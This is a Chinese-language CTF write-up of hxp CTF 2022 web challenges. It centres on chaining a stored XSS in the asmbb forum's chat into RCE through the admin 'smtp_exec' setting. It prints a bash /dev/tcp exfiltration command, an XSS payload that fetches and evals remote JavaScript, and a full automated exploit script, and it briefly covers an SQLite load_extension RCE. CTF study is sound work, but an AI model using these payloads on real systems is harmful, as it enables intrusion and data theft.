2022 hxp CTF writeups
3/11 還在參加 DEVCORE Conf 時 ginoah 就已經把 web easy 題都秒完,留下兩題難的,這次比賽都在看 true_web_assembly,真的是 assembly :D

Web
true_web_assembly
asmbb 是個用 FASM 寫的 forum,這題目標是要 XSS admin 來觸發 RCE。admin bot 有限制 domain 在目標下,只能控 URL Path 部分。這裡拆成兩塊來講:1. 身為 admin 如何觸發 RCE 2.如何觸發 XSS 來讓 admin 觸發 RCE
Part 1. 身為 admin 如何觸發 RCE
既然是用 asm 寫的,要 RCE 就從 stdcall 下去找最快,FASM 有點類似打包好一點功能有預處裡機制的 asm (jwang: 那幹嘛不直接寫 C)搜了一下 exec, system, int 0x80 之類的可以知道 FASM 是透過 stdcall
做呼叫,查到 stdcall exec2
往上追可以看到和 smtp 相關,對應到 admin 才能看到的 forum settings

其中的 Pipe the emails through 欄位對應到 asm 裡的 smtp_exec
,如果開啟 Confirm by email
,使用者在註冊時會需要收認證信,就會呼叫 smtp_exec
處理。 stdcall exec2
在處理 smtp_exec
時是用空格來切割參數,不認單雙引號等等, 並且環境裡沒有 nc、curl、wget 等等,所以我們用 bash 來送封包,送往 bash 的 payload 透過 $IFS
分割
/usr/bin/bash -c /readflag$IFS>/dev/tcp/blog.cjis.ooo/8788
Part 2. 如何觸發 XSS 來讓 admin 觸發 RCE
這裡我們採到一個坑,該論壇有 chat 功能,透過 burpsuite proxy 來瀏覽時會壞掉,流量消失

正常要像下圖

chat room 是透過 SSE(server-sent-event)來達到即時推送的功能,接受 event 後再 render 到 chat board 上

在 id=249 可以看到 originalname 出現奇怪的 utf-8 representation,ginoah 當初是先測試可以註冊帶 \
的 username 會讓 chat board 壞掉,然後發現他會把整串當成 json string 處理,並且不會跳脫 \
。進一步可以追到 server 在處理 originalname 時沒呼叫 StrEncodeJS
等等 encode function,就直接做拼接
...
cinvoke sqliteColumnText, [.stmt], 2
test eax, eax
jz @f
stdcall StrEncodeJS, eax
stdcall StrCat, edi, eax
stdcall StrDel, eax
@@:
stdcall StrCat, edi, txt '", "originalname": "'
cinvoke sqliteColumnText, [.stmt], 3
stdcall StrCat, edi, eax
stdcall StrCat, edi, txt '", "text": "'
cinvoke sqliteColumnText, [.stmt], 4
stdcall StrEncodeJS, eax
stdcall StrCat, edi, eax
stdcall StrDel, eax
stdcall StrCat, edi, txt '" }'
...
所以整個利用流程是
- 註冊 username 為 XSS payload 的 user
- 用該 user 發送訊息到 chat room
- 請 admin 瀏覽
/!chat
開啟驗證信功能和寫入惡意smtp_exec
- 再次註冊需要信箱的 user 或是更改現有 user 的 email 來觸發
smtp_exec
asmbb 在一些重要功能會用 ticket
保護(==CSRF Token),在各頁面行為有點差異,此外這題有負責開獨立的 instance 的 instancer 服務和 admin bot ,題目機和 local 行為差蠻多,asmBB 自身還有帶檢測 bot 功能,錯誤訊息還很隨興,在寫腳本時有夠難 debug,雖然賽中和 ginoah 已經想出解答但是手速不夠快,賽後大概四小時才寫完全自動化 exploit QQ
import requests
import re
import base64
import sys
from pwn import *
from threading import Thread
import os
import subprocess
r = remote("162.55.216.146", 9032)
l = r.recvline().decode()
test = re.search(r'unhex\("(.+?)"', l)[1]
proof = subprocess.Popen(
["./pow-solver", "20", test], stdout=subprocess.PIPE
).stdout.read()
r.send(proof)
l = r.recvuntil(b"Please stay connected").decode()
h = re.search(r"running at http://(.+?) u", l)[1]
u = re.search(r"Username: (.+?)\n", l)[1]
p = re.search(r"Password: (.+?)\n", l)[1]
host = f"http://{u}:{p}@{h}"
print(f"{host=}")
xss = f'"><img src=a onerror="fetch(`http://c.cjis.ooo:7122/`).then(r=>r.text()).then(r=>eval(atob(r)))"><"'
# xss = f'"><img src=a onerror="fetch(`https://static.cjis.ooo/p.txt`).then(r=>r.text()).then(r=>eval(atob(r)))"><"'
xss = (
xss.replace('"', "\\u0022")
.replace(">", "\\u003e")
.replace("<", "\\u003c")
.replace("'", "\\u0027")
.replace("&", "\\u0026")
)
def serve_payload():
js = f"""
fetch('http://{h}/!settings')
.then(r=>r.text())
.then(r=>{{
i=r.search('ticket');
fetch('http://{h}/!settings',
{{
method:'POST',
body:'ticket='+r.substring(i+15,i+47)+
'&smtp_exec=%2Fusr%2Fbin%2Fbash+-c+%2Freadflag%24IFS>%2Fdev%2Ftcp%2Fc.cjis.ooo%2F1337'+
'&forum_title=&forum_header=%3Ch1+style%3D%22font-weight%3A+800%22%3EAsmBB%3C%2Fh1%3E%0D%0A%3Cb+style%3D%22text-align%3A+center%22%3EPower%3Cbr%3E%0D%0A%3Csvg+version%3D%221.1%22+width%3D%2264%22+height%3D%2216%22+viewBox%3D%220+0+64+16%22+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0D%0A+%3Cpath+d%3D%22m0+6+8+10h34l-6-6+28-2-50-8+8+8z%22%2F%3E%0D%0A%3C%2Fsvg%3E%0D%0A%3C%2Fb%3E%0D%0A&description=&keywords=&tabselector=1&host=localhost&smtp_addr=localhost&smtp_port=25&smtp_user=a&email_confirm=on&user_perm=1&user_perm=2&user_perm=4&user_perm=8&user_perm=16&user_perm=64&user_perm=256&user_perm=512&user_perm=1024&post_interval=0&post_interval_inc=0&max_post_length=0&anon_perm=1&anon_perm=2&activate_min_interval=0&default_lang=0&page_length=20&default_skin=Urban+Sunrise&default_mobile_skin=Urban+Sunrise&chat_enabled=on&markups=1&password=&save=Save',
headers:{{
'content-type':'application/x-www-form-urlencoded'
}}
}}
)
}});
"""
js = re.sub(r"[\t \r\n]", "", js)
payload = base64.b64encode(js.encode()).decode()
from flask import Flask, make_response
app = Flask(__name__)
@app.route("/")
def a():
resp = make_response(payload)
resp.headers["Access-Control-Allow-Origin"] = "*"
return resp
app.run("0.0.0.0", 7122)
def do_xss():
s = requests.session()
resp = s.get(f"{host}/!register")
i = resp.text.find("ticket")
ticket = resp.text[i - 40 : i - 8]
resp = s.post(
f"{host}/!register",
data={
"username": xss,
"password": "1" * 8,
"password2": "1" * 8,
"ticket": ticket,
"submit.x": "10310",
"submit.y": "5",
},
)
print(f"{ticket=}")
print("[*] regist another user aaaaa")
resp = s.get(f"{host}/!register")
i = resp.text.find("ticket")
ticket = resp.text[i - 40 : i - 8]
resp = s.post(
f"{host}/!register",
data={
"username": "aaaaa",
"password": "1" * 8,
"password2": "1" * 8,
"ticket": ticket,
"submit.x": "10310",
"submit.y": "5",
},
)
print(f"{ticket=}")
resp = s.get(f"{host}/!login")
i = resp.text.find("ticket")
ticket = resp.text[i - 40 : i - 8]
resp = s.post(
f"{host}/!login",
data={
"username": xss,
"password": "1" * 8,
"backlink": "/",
"ticket": ticket,
"submit.x": "10321",
"submit.y": "1",
},
)
print(f"{ticket=}")
resp = s.post(
f"{host}/!chat?session=", data={"cmd": "message", "chat_message": "a"}
)
if "OK" in resp.text:
print("[*] XSS Done")
else:
print("[*] XSS Failed")
print(resp.text.encode())
def do_trigger():
import time
s = requests.session()
print("[*] login aaaaa to trigger rce")
resp = s.get(f"{host}/!login")
i = resp.text.find("ticket")
ticket = resp.text[i - 40 : i - 8]
resp = s.post(
f"{host}/!login",
data={
"username": "aaaaa",
"password": "1" * 8,
"backlink": "/",
"ticket": ticket,
"submit.x": "10321",
"submit.y": "1",
},
)
print("[*] changeemail!")
resp = s.get(f"{host}/!userinfo/aaaaa")
i = resp.text.find("ticket")
ticket = resp.text[i + 15 : i + 47]
resp = s.post(
f"{host}/!changemail",
data={
"password": "1" * 8,
"email": "aaa@bbb",
"changeemail": "Change email",
"ticket": ticket,
},
)
if "Check your mail" not in resp.text:
print("[*] Failed change email: " + resp.text[:100])
print(f"{ticket=}")
else:
print("[*] rce triggered!")
t1 = Thread(target=serve_payload)
t1.daemon = 1
t1.start()
do_xss()
print("[*] submit !chat to bot")
bot = remote("162.55.216.146", 9762)
bot.recvuntil(b"Please give instance username: ")
bot.sendline(u.encode())
bot.recvuntil(b"Please give instance password: ")
bot.sendline(p.encode())
bot.recvuntil(b"Please give instance port: ")
bot.sendline(h.split(":")[1].encode())
bot.recvuntil(f"http://{h}/".encode())
bot.sendline(b"!chat")
print(bot.recvall().decode())
bot.close()
print("[*] Try to trigger rce")
l = listen(1337)
do_trigger()
l.interactive()
ginoah 要開始寫 blog 了沒
sqlite_web
ref: ginoah & official writeup
這題用上 werkzeug 的 temp file 機制,超過 500kB 會寫檔,再透過 SQLite load_extension
觸發 RCE,這裡檔案直接透過 /proc/self/fd/xx
存取。